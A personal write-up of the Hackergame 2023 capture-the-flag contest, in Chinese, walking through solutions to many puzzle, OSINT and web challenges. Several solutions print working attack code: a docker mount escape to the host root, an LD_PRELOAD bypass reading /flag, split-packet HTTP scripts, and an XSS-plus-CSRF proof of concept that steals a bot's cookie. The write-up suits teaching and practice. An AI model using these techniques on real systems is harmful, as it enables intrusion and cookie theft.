Hackergame 2023 Writeup

Post on Edit on 1 revisions

Hackergame 启动

打开题目网站,直接点击提交,发现多出来一个similarity参数,改成尽可能大的数字(100)就过了

flag{we1com3-7o-h@cK3RG@ME-@nd-Enjoy-H@CkIN9-2O23}

猫咪小测

前两小题的数字都不会太大,直接穷举就好

第三小题 搜索tcp bbr compile option能找到这篇 可知需要开启CONFIG_TCP_CONG_BBR选项

第四小题 搜索python mypy type check infinite loop能找到这篇论文 在页底能找到会议名称37th European Conference on Object-Oriented Programming (ECOOP 2023).答案为ECOOP

flag1:🎉🎉🎉flag{wE1com3-to-47TEnD-THe-NEK0-Ex@M-2OZ3}🎉🎉🎉

flag2:🎉🎉🎉flag{Re@l-m4st3R-of-THE-N3ko-ex@M-in-u$Tc}🎉🎉🎉

更深更暗

打开网页等Generating FLAG消失,然后右键打开DevTools找元素

结果找到id="titan"的元素

<pre id="titan">
                               /
                               \
                               |
                             __|__
                            |     \
                                    /
     ____  _________________|___ ___\__________/ ____
    &lt;   /                                            \____________  |
     /         flag{T1t@n_7a90e9db85a8f7edf9f5817a50c58390}       \ (_)
~~~~~~     O       O       O                                       &gt;=)~~~~~~~
       \_______/ ____________\  /_________________________________/ (_)</pre>

flag{T1t@n_7a90e9db85a8f7edf9f5817a50c58390}

旅行照片 3.0

你的学长去留学了,这一走短时间内怕是回不来了。于是,你在今年暑假来了一场计划已久的旅行,并顺路探望了这位久别的学长。翻阅当天拍下的照片,种种回忆和感慨油然而生。

推测时间在6月到9月

题目 1-2

先来第二小题

搜索奖牌上的文字 易知为诺贝尔奖奖牌

接着搜索M. KOSHIBA可知获奖人是小柴昌俊,曾任东京大学国际基本粒子物理中心(ICEPP)高级顾问,获得了诺贝尔物理学奖

那么搜索university of tokyo nobel prize,可以找到维基百科中的List of University of Tokyo people,在其底下的Nobel prize laureates中能找到获得了诺贝尔物理学奖的人有

可知出生最晚者为梶田隆章

搜索梶田隆章 研究所可知其在ICRR - 宇宙線研究所,故答案为ICRR

第一小题已知时间在6-9月,那么直接穷举

for(let i=0;i<120;i++){
  let date1=new Date((new Date("2023-06-01").getTime())+i*86400000).toISOString().split('T')[0];
  `${btoa(new URLSearchParams({Answer1:date1,Answer2:"ICRR"}).toString())}.txt`
  fetch("http://202.38.93.111:12345/", {
    "headers": {
      "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
    },
    "body": `${btoa(new URLSearchParams({Answer1:date1,Answer2:"ICRR"}).toString())}.txt`,
    "method": "POST"
  });
}

去翻网络请求,找到200的POST请求,得FLAG

flag{how_I_wi5h_i_COulD_w1N_A_Nobe1_pri23_b4336e7597}

解码参数,得日期为2023-08-10.

题目 3-4

在下午和夜晚小节找到地点上野站,可知地点在东京台东区。

题目 1-2中小柴昌俊东京大学的线索,可知地点在东京大学附近。

在Google Earth中搜索University of Tokyo,可以找到卫星图,结合图二的喷泉,喷泉位于上野公园(Ueno Park),容易找到在喷泉对面的博物馆是东京国立博物馆。

搜索Ueno Park events时间限定在2023-08-07~2023-08-11,可以找到这篇文章,得到关键词Plum Wine

搜索ueno park plum wine得到这篇文章,底部找到这个链接,在其文章开头找到问卷编号S495584522

搜索东京国立博物馆进入官网,找到票价页,得High/Junior High/Elementary School Students and persons under 18 and over 70:Free于是票价取0。

flag{PluM_w1NE_1S_rEa1LY_EXpen5iVE_6a16cff429}

赛博井字棋

打开DevTools,然后随便走一步(左上角),然后去网络页复制请求,贴到控制台并稍作更改

fetch("http://202.38.93.111:10077/", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify({x:"0",y:"0"}),
  "method": "POST",
});

发现机器人下中间,试试能不能把棋子盖掉

fetch("http://202.38.93.111:10077/", {
  "headers": {
    "content-type": "application/json",
  },
  "body": JSON.stringify({x:"1",y:"1"}),
  "method": "POST",
});

刷新一试,真的可以,然后棋下右下角就赢了

flag{I_can_eat_your_pieces_3e97cf7f68}

奶奶的睡前 flag 故事

加粗文字:谷歌『亲儿子』,连系统都没心思升级,截图

中翻中:Pixel 漏洞 截图

搜索Pixel 漏洞 截图,得到漏洞名aCropalypse

搜索aCropalypse,找到acropalypse.app

提交截图,型号选择Pixel 7,得到Flag图片

aCropalypse

flag{sh1nj1ru_k0k0r0_4nata_m4h0}

组委会模拟器

setInterval(()=>[...document.querySelectorAll("#app > div > div.fakeqq-container > * > div > div.fakeqq-message__content > div.fakeqq-message__bubble > span")].filter(e=>e.innerText.includes("hack[")).forEach(e=>e.click()),50)

打开控制台,在网页加载完成后输入这串代码,即可获得Flag。

DevTools右击消息元素复制JS路径,跑个循环检测整个消息列表有没有含hack[的消息,

接着用HTMLElement.click()模拟点击。最后加个setInterval循环跑就可以了

flag{Web_pr0gra_mm1ng_d8eeee3472_15fun}

这听起来像是一种通过无线信道传输图片的方式,如果精通此道,或许就可以接收来自国际空间站(ISS)的图片了,一眼SSTV

下载个SSTV解码软件就好,比如Robot36,然后播放音频来解码就好

能看就行.jpg

JSON ⊂ YAML?

真·JSON写的够乱就行

Payload:

{"foo":"bar","foo":1,"t":{"a":["12",{"i":"der","f":1e9,"longarray":[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[1]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]}]}}

网上搜下就可以知道(科学计数法转换不同):

YAML1.1: 1e9 =>"1e9" JSON: 1e9 => 1000000000

看官方题解才知道(不能有重复的Key):

但是我就给试出来了。

Flag1: flag{faf9facd7c9d64f74a4a746468400a50bea1135291}

Flag2: flag{b1c73f14d04db546b7e7e24cf1cc72526fa986f6ee}

Git? Git!

把仓库拉下来,然后去.git/objects手动拼接Object ID接着

git cat-file -p [Object ID] | find "flag"

最后

git cat-file -p f629dae383869fe5ae7abb74fde26fea5e64ff31 | find "flag"
  <!-- flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t} -->

flag{TheRe5_@lwAy5_a_R3GreT_pi1l_1n_G1t}

HTTP 集邮册

MDN是个好东西

十二个状态码:

没有状态码:

搜索http request minimum headers可以找到在StackOverflow的回答

其中给出了不返回headers的请求体

GET /\r\n\r\n

没有状态……哈?:flag{congratu1ations you discovered someth1ng before http1.0}

Docker For Everyone

打开题目环境,执行ps -ef结果发现dockerd,containerd,docker都跑在root用户下

搜索Docker 挂载本地目录,知道可以用-v选项把目录挂到docker里去,那么

docker run -it -v /:/realroot alpine

就能把主机的根目录挂到docker里去

cat /realroot/flag
cat: can't open '/realroot/flag': No such file or directory

怎么读不到Flag?再看一遍题目,发现Flag是软链接

那么手动跟着软链接走

ls -l /realroot
...
lrwxrwxrwx    1 root     root            13 Oct  8 12:10 flag -> /dev/shm/flag
...

cat /realroot/dev/shm/flag

flag{u5e_r00t1ess_conta1ner_0115f313c3_plz!}

惜字如金 2.0

打开源代码,先看get_cod_dict

def get_cod_dict():
    # prepar th cod dict
    cod_dict = []
    cod_dict += ['nymeh1niwemflcir}echaet']
    cod_dict += ['a3g7}kidgojernoetlsup?h']
    cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
    cod_dict += ['ct{l-findiehaai{oveatas']
    cod_dict += ['ty9kxborszstguyd?!blm-p']
    check_equals(set(len(s) for s in cod_dict), {24})
    return ''.join(cod_dict)

需要长度24,但是一看实际长度

  `ct{l-findiehaai{oveatas`.length
  <23

那么每串肯定都少了个字符

跑个穷举来解

let first=i=>["a","e","i","o","u"].some(e=>{
  return i.endsWith(e)
})
function unxzrj(str){
  const pos=[];
  if(str.length!=24){
    if(!first(str)){pos.push(str+"e")};
    for(let i=0;i<str.length;i++){
      if(!first(str[i])){
        pos.push(str.slice(0,i)+str[i]+str.slice(i))
      }
    }
  }
  return pos;
}
let data=[53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
  17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
  31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
  25, 63, 77, 36, 5, 32, 60, 67, 113, 28]
let allStrs=["nymeh1niwemflcir}echaet","a3g7}kidgojernoetlsup?h","ulw!f5soadrhwnrsnstnoeq","ct{l-findiehaai{oveatas","ty9kxborszstguyd?!blm-p"]
let [a,b,c,d,e]=allStrs.map(e=>unxzrj(e));
let resolveSet=new Set;
for(let i of a){
  for(let j of b){
    for(let k of c){
      for(let l of d){
        for(let m of e){
          let currdict=i+j+k+l+m;
          let result=data.map(e=>currdict[e]).join("");
          if(!resolveSet.has(result)&&result.startsWith("flag{")&&result.endsWith("}"))console.log([i,j,k,l,m],result);
          resolveSet.add(result);
        }
      }
    }
  }
}
node unxzrj

[
  'nymeh1niwemflcir}echaete',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}
[
  'nnymeh1niwemflcir}echaet',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{nou-v}-r3lovmr3d-7hm-an5w3r-rhght?}
[
  'nyymeh1niwemflcir}echaet',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lovmr3d-7hm-an5w3r-rhght?}
[
  'nymehh1niwemflcir}echaet',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lover3d-7he-an5w3r-rhght?}
[
  'nymeh11niwemflcir}echaet',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3lover3d-7he-an5w3r-r1ght?}
[
  'nymeh1niwemflccir}echaet',
  'a3g7}kidgojernoetlsup?he',
  'ullw!f5soadrhwnrsnstnoeq',
  'cct{l-findiehaai{oveatas',
  'tty9kxborszstguyd?!blm-p'
] flag{you-v}-r3cover3d-7he-an5w3r-r1ght?}

可以找到flag{you-ve-r3cover3d-7he-an5w3r-r1ght?}

🪐 高频率星球

打开Linux终端,安装asciinema

sudo apt install asciinema

接着用asciinema cat把录像直接写到文件里(防止被清屏删掉代码)

asciinema cat asciinema_restore.rec >out.txt

然后用文本编辑工具把ASCII控制字符和文件开头和结尾的提示文本删掉

最后

node out.txt
flag{y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371}

🪐 小型大语言模型星球

AI题是真不会做

You Are Smart

直接问模型Am I smart?

flag{I-7H1nk-Y0u-aRe-Re4!!y-RE4!LY-5MARt

🪐 流式星球

查看源代码create_video.py可知视频是把每一帧的画面的每一个像素的RGB值顺序写入文件的,但是视频帧数,画面宽高都没有了

写个帧播放器

<input class="slider" type="range" min="10" max="4000" step="10" value="10" id="width"></input>
<input class="slider" type="range" min="10" max="3000" step="10" value="10" id="height"></input>
<p></p>
<span></span>
<canvas></canvas>
<script>
  const canvas=document.querySelector("canvas");
  const inputw=document.querySelector("input#width");
  const inputh=document.querySelector("input#height");
  const p=document.querySelector("p");
  const span=document.querySelector("span");
  let i=0;
  (async function(){
    let videobin=await fetch("./video.bin1");
    let videobuf=new Uint8Array(await videobin.arrayBuffer());
    let resolution="139*427*759";
    let radio=0;
    let [count,width,height]=resolution.split("*").map(e=>Number(e));
    function setupCanvas(w,h){
      [canvas.width,canvas.height]=[w,h];
      [width,height]=[w,h];
      radio=width*height*3;
    }
    setupCanvas(width,height);
    let ctx=canvas.getContext("2d");
    function changeImage(nw,nh){
      setupCanvas(nw,nh);
      span.innerText=`${nw}*${nh}`;
      flushImage(0);
    }
    inputh.oninput=inputw.oninput=function(){
      let nw=inputw.value,nh=inputh.value;
      changeImage(nw,nh);
    }
    addEventListener("keydown",e=>{
      if(e.key=="h"){
        changeImage(width-=1,height);
      }
      if(e.key=="j"){
        changeImage(width+=1,height);
      }
      if(e.key=="k"){
        changeImage(width,height-=1);
      }
      if(e.key=="l"){
        changeImage(width,height+=1);
      }
      if(e.key=="v"){
        changeImage(width-=10,height);
      }
      if(e.key=="b"){
        changeImage(width+=10,height);
      }
      if(e.key=="n"){
        changeImage(width,height-=10);
      }
      if(e.key=="m"){
        changeImage(width,height+=10);
      }
      if(e.key=="f"){
        flushImage(i--);
        p.innerText=i;
      }
      if(e.key=="g"){
        flushImage(i++);
        p.innerText=i;
      }
    })
    function flushImage(count){
      let frame=videobuf.subarray(count*radio,(count+1)*radio);
      let newClamp=new Uint8ClampedArray(frame.length*4/3);
      for(let i=0;i<frame.length;i+=3){
        let target=i*4/3;
        newClamp[target+0]=frame[i+0]
        newClamp[target+1]=frame[i+1]
        newClamp[target+2]=frame[i+2]
        newClamp[target+3]=255;
      }
      console.log(width,height);
      let imgData=new ImageData(newClamp,width,height);
      ctx.putImageData(imgData,0,0);
    }
    flushImage(0);
</script>

然后手动调宽视频,发现在width=427时视频正常

调整视频高度,使其完整覆盖视频画面(height=759)

mygo.png

🪐 低带宽星球

如Flag所言

真·网上随便找个压缩png的工具就好

flag{justfind_an_image_compressor_andgo!}

Komm, süsser Flagge

我的 POST

把POST分开发送就好

第一包:
POS

第二包:
T / HTTP/1.1\r\nHost: 127.0.0.1:8082\r\nUser-Agent: curl/8.0.1\r\nAccept: */*\r\nContent-Length: [length]\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n114514:asdfgh==
const net=require("net");
let p=net.connect(18080,"202.38.93.111").on("data",e=>console.log(e.toString()));
let fullRequestBody=`POST / HTTP/1.1\r\nHost: 127.0.0.1:8082\r\nUser-Agent: curl/8.0.1\r\nAccept: */*\r\nContent-Length: 99\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n114514:asdaasd==`
let window=3;
p.write(fullRequestBody.slice(0,window));setTimeout(()=>p.write(fullRequestBody.slice(window)),100);
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 06 Nov 2023 01:39:49 GMT
Content-Length: 31
Connection: close

flag{ea5Y_sPl1tt3r_f006e66526}

我的 P(非预期解)

net.connect(18080,"202.38.93.111")直接换成net.connect(18081,"202.38.93.111")

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Mon, 06 Nov 2023 01:39:54 GMT
Content-Length: 32
Connection: close

flag{r3s3rv3d_bYtes_dea1c116fb}

为什么要打开 /flag 😡

(ps:没有Linux环境,跑去装WSL2了)

LD_PRELOAD, love!

删掉LD_PRELOAD环境变量,然后直接拿popen开shell去读取

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(){
  unsetenv("LD_PRELOAD");
  char buf[1024];
  FILE *fp=NULL;
  fp=popen("cat /flag", "r");
  fgets(buf, sizeof(buf), fp);
  printf("%s\n",buf);
}
STDOUT:
flag{nande_ld_preload_yattano_0b6b62e631}

异星歧途

(ps:Mindustry真好玩)

(0关1开)

第一组开关,看逻辑只要有一个按钮是0 1 0 1 1 0 1 0就不会触发Generator

那么正确的序列就是10100101

第二组开关,大意是拿八个开关做输入并出一个uint8,然后位运算获得是否打开开关

那么就写个解释器来跑吧

function uMachine(ops,quota=1000000){
  let pc=0,curr,stor={};
  while((curr=ops[pc++])&&quota-->0){
    let {type}=curr;
    if(type==="nor"){
    }else if(type==="set"){
      let {key,value}=curr;
      stor[key]=value;
    }else if(type==="operation"){
      let [a,op,b]=curr.cond.split(" "),{key}=curr,r=0;
      if(!isNaN(+a))a=+a;if(!isNaN(+b))b=+b;
      if(Reflect.has(stor,a))a=stor[a];if(Reflect.has(stor,b))b=stor[b];
      switch(op){
        case "or":r=a|b;break;
        case "!=":r=(a!=b)?1:0;break;
        case "==":r=(a==b)?1:0;break;
        case "|":r=a|b;break;
        case "+":r=a+b;break;
        case "^":r=a**b;break;
        case "always":r=true;break;
      }
      stor[key]=r;
    }else if(type==="jump"){
      if(!curr.cond){pc=curr.to;continue;}
      let [a,op,b]=curr.cond.split(" "),r=false;
      if(!isNaN(+a))a=+a;if(!isNaN(+b))b=+b;
      if(Reflect.has(stor,a))a=stor[a];if(Reflect.has(stor,b))b=stor[b];
      switch(op){
        case ">=":r=a>=b;break;
        case "!=":r=a!=b;break;
        case "==":r=a==b;break;
        default:r=true;break;
      }
      if(r)pc=curr.to;
    }else if(type==="halt")return "HALT"
  }
  return stor;
}
let str2=e=>[
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},  
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"nor"},
  {"type":"set","key":"number","value":e},
  {"type":"set","key":"en","value":0},
  {"type":"set","key":"i","value":0},
  {"type":"jump","cond":"i >= 16","to":33},
  {"type":"operation","key":"fl0","cond":"i ^ 2"},
  {"type":"jump","cond":"fl0 != number","to":31},
  {"type":"set","key":"en","value":1},
  {"type":"jump","to":33},
  {"type":"operation","key":"i","cond":"i + 1"},
  {"type":"jump","to":26},
  {"type":"operation","key":"fl1","cond":`0 == ${(e>>(8-1))&1}`},
  {"type":"operation","key":"fl2","cond":`0 == ${(e>>(8-6))&1}`},
  {"type":"operation","key":"fl3","cond":"fl1 | fl2"},
  {"type":"jump","cond":"fl3 == 0","to":38},
  {"type":"set","key":"en","value":0},
  {"type":"operation","key":"outGEN1","cond":`en + 0`},
  {"type":"operation","key":"outpanel1","cond":`en + 0`},
]
for(i=0;i<256;i++){
  let r=uMachine(str2(i));
  if(r.outGEN1==1)console.log(r,i.toString(2).padStart(8,"0"))
}
node interpreter

{
  number: 196,
  en: 1,
  i: 14,
  fl0: 196,
  fl1: 0,
  fl2: 0,
  fl3: 0,
  outGEN1: 1,
  outpanel1: 1
} 11000100

第二组开关序列11000100

第三组开关:

看程序逻辑(x x x x x x x x)

第一开关得打开,否则钍矿不会流入反应堆(1 x x x x x x x)

第二开关得关上,不然矿物都得跑去销毁(1 0 x x x x x x)

第三开关得关上,不然钍反应堆不会开启(1 0 0 x x x x x)

第四开关得关上,不然合成冷却液的水会直接消失(1 0 0 0 x x x x)

第五开关得打开,启动冷却液混合器(1 0 0 0 1 x x x)

第六开关得打开,不然没法抽取用来合成冷却液的水(1 0 0 0 1 1 x x)

第七开关得关上,不然融毁会耗去钍反应堆产生的大量能量(1 0 0 0 1 1 0 x)

第八开关得关上,因为sw8==sw9,且sw9关闭(即第二组开关第八个开关,值为0)(1 0 0 0 1 1 0 0)

第三组开关序列10001100

第四组开关乱猜的(01110111)

反应堆正常启动,总序列10100101 11000100 10001100 01110111

微积分计算小练习 2.0

随便填答案,先到留言页面

一看,评论限长还限特殊字符

还有哪些特殊字符能用?!@#$^*_+-={}:"|?[];\/

把这堆字符提交到网站上,右键查看源代码,发现这些字符直接并到了源代码里

那么就可以直接拿"+先把字符串闭合了

比如"+open+"就可以获得直接进到js环境里了

接下来,请问有什么东西可以跨域传送字符串?答案是window.name

.不能用,可以用方括号代替

那么试下"+[name=document["cookie"]]+"

`"+[name=document["cookie"]]+"`.length //29

但是问题不大,window.open的第二参数就可以指定name,可以这样

`"+[name=document[name]]+"`.length //25,正好在限制内

let targetWindow=open("http://web/result","cookie",{popup:true});

好了,现在可以拿到cookie了,但是怎么输出呢?

发现评论网站没有阻止csrf攻击,那么在非同源网站也能拿着form直接提交到测试网站

只要把cookie拿到手,自动填写表单,模拟submit,POST到测试网站就好

PoC:

<form action="http://web/result" method="post" style="display: none;">
  <textarea name="comment"></textarea>
</form>
<script>
  let form = document.querySelector("form");
  let textarea = document.querySelector("textarea");
  const upload = function (e) {
    textarea.value = e;
    form.submit();
  };
  (function () {
    let url = new URL(location.href);
    let step = +(url.searchParams.get("f") || 0);
    if (step == 0) {
      url.searchParams.set("f", 1);
      let win=open("http://web/result","cookie",{popup:true});
      setTimeout(()=>{
        win.location.href=url.href;
      },2500);
    } else if (step == 1) {
      let param=0;
      upload(btoa(window.name).slice(param*20,param*20+20));
    }
  })()
</script>
EOF

(注意,评论框提交长度有限制,还有限制特殊字符,需要用Base64编码后再分块传送回客户端,见代码param变量)

"+[name=document[name]]+"填到评论

之后将上面的HTML交给Bot

等待执行完毕后就可以再网页里获得Flag的Base64了

decodeURIComponent(atob("ZmxhZz1mbGFnJTdCeDU1X3N0aWxsX2FsaXZlJTI2JTNEJTNFXyUzQytfMDNmM2UxNzk0MiU3RA==")) 

<`flag=flag{x55_still_alive&=>_<+_03f3e17942}`

还有一个坑,就是urllib.parse.quote_plus,看着上面flag感觉是正确的,一提交就提示答案错误,结果发现需要把Flag里的+换成

flag=flag{x55_still_alive&=>_< _03f3e17942}